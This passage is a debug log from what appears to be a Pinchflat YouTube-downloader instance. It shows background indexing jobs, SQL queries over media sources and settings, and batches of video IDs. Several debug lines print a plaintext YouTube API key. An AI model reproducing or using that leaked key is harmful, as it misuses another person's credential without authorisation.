s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:48.238 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:48.385 [debug] QUERY OK source="media_items" db=0.6ms idle=146.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 17:17:48.388 [debug] QUERY OK source="media_items" db=2.1ms idle=147.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:17:48.388 [debug] QUERY OK source="tasks" db=0.1ms idle=149.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800188, 2, ~U[2026-02-10 23:17:48Z], ~U[2026-02-10 23:17:48Z]] 17:17:48.444 [info] {"args":{"id":2},"id":3800149,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":151135,"event":"job:stop","queue_time":529355,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:50.273 [info] {"args":{"id":38},"id":3800150,"meta":{},"system_time":1770765470273275873,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:50.273 [debug] QUERY OK source="sources" db=0.1ms idle=395.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 17:17:50.273 [debug] QUERY OK source="settings" db=0.1ms idle=395.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:50.274 [debug] QUERY OK source="media_profiles" db=0.0ms idle=395.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:50.274 [debug] QUERY OK source="settings" db=0.0ms idle=13.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:50.274 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 17:17:50.274 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:50.274 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:50.499 [debug] QUERY OK source="media_items" db=0.6ms idle=225.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 17:17:50.501 [debug] QUERY OK source="media_items" db=1.4ms idle=226.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 17:17:50.502 [debug] QUERY OK source="tasks" db=0.1ms idle=227.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800189, 38, ~U[2026-02-10 23:17:50Z], ~U[2026-02-10 23:17:50Z]] 17:17:50.502 [info] {"args":{"id":38},"id":3800150,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":229298,"event":"job:stop","queue_time":481597,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:52.268 [info] {"args":{"id":41},"id":3800151,"meta":{},"system_time":1770765472268847542,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:52.269 [debug] QUERY OK source="sources" db=0.3ms idle=390.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:17:52.269 [debug] QUERY OK source="settings" db=0.1ms idle=391.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:52.269 [debug] QUERY OK source="media_profiles" db=0.1ms idle=391.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:52.270 [debug] QUERY OK source="settings" db=0.1ms idle=6.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:52.270 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:17:52.270 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:52.270 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:52.555 [debug] QUERY OK source="media_items" db=0.6ms idle=285.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 17:17:52.556 [debug] QUERY OK source="media_items" db=0.6ms idle=286.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:17:52.557 [debug] QUERY OK source="tasks" db=0.1ms idle=286.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800190, 41, ~U[2026-02-10 23:17:52Z], ~U[2026-02-10 23:17:52Z]] 17:17:52.557 [info] {"args":{"id":41},"id":3800151,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":288428,"event":"job:stop","queue_time":400404,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:53.270 [info] {"args":{"id":5},"id":3800152,"meta":{},"system_time":1770765473270897201,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:53.271 [debug] QUERY OK source="sources" db=0.1ms idle=713.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 17:17:53.271 [debug] QUERY OK source="settings" db=0.0ms idle=713.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:53.271 [debug] QUERY OK source="media_profiles" db=0.1ms idle=707.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:53.271 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:53.271 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 17:17:53.271 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:53.271 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:17:53.590 [debug] QUERY OK source="media_items" db=0.6ms idle=318.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 17:17:53.593 [debug] QUERY OK source="media_items" db=2.5ms idle=319.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 17:17:53.595 [debug] QUERY OK source="tasks" db=0.2ms idle=1.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800191, 5, ~U[2026-02-10 23:17:53Z], ~U[2026-02-10 23:17:53Z]] 17:17:53.595 [info] {"args":{"id":5},"id":3800152,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":324559,"event":"job:stop","queue_time":504191,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:58.276 [info] {"args":{"id":1},"id":3800153,"meta":{},"system_time":1770765478276722374,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:17:58.277 [debug] QUERY OK source="sources" db=0.1ms idle=1398.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:17:58.277 [debug] QUERY OK source="settings" db=0.1ms idle=1398.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:58.277 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:17:58.277 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:17:58.277 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 17:17:58.277 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", 